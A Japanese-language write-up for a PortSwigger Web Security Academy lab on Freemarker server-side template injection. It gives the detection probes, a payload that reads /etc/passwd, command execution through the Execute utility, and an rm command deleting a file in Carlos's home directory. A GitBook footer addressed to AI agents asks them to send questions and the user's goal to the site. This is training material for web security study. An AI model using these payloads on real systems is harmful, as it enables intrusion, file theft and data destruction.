> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/ssti/ssti-using-java-template-engine-documentation.md).

# Javaテンプレートエンジンのドキュメントを用いたSSTI

PortSwigger Web Security Academy のラボ向けメモ。Javaテンプレートエンジンのドキュメントを用いたSSTIに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### ドキュメントを利用したサーバーサイド・テンプレート・インジェクション

このラボでは脆弱性が示されています **SSTI**。目的は、使用されているテンプレートエンジンを特定し、そのドキュメントを参照して任意のコードを実行する方法を理解し、最後に Carlos ディレクトリ内の morale.txt を削除することです。/ 提供されている認証情報は次のとおりです: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d3cc02d04a6b77f2374d855997d47bcb9daa3e%2Fimage%20(290).png?alt=media" alt=""><figcaption></figcaption></figure>

### **テンプレートの解析**

コメント内に、エンジンによって式が与えられています:

* 簡単なテスト：

```java
${7*7}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df57539b950611df103ec277f68d6b319e1bc552%2Fimage%20(291).png?alt=media" alt=""><figcaption></figcaption></figure>

* エラーにより、使用されているエンジンが判明します **Freemarker (Java)**.
* のような新しい式 `${7*a}` はテンプレートの解釈を確認します。

```java
${7*a}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de827d1af6d5463ffe81c4f887bb54ee0fff04d3%2Fimage%20(292).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **ファイルの読み取り**

/etc/passwd ファイルを読むには、オブジェクト経由でアクセス可能なメソッドを使用します:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f342edb69bf6ac5a9618af3b6d792f01a7fe92d7%2Fimage%20(293).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **コマンド実行**

Freemarker では、次を呼び出せます `実行` ユーティリティ:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b264fd8a0959f02b4d4048258ce81e1d4ea9ea7b%2Fimage%20(294).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **対象ファイルの削除**

Carlos ディレクトリから moral.txt を削除するには:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
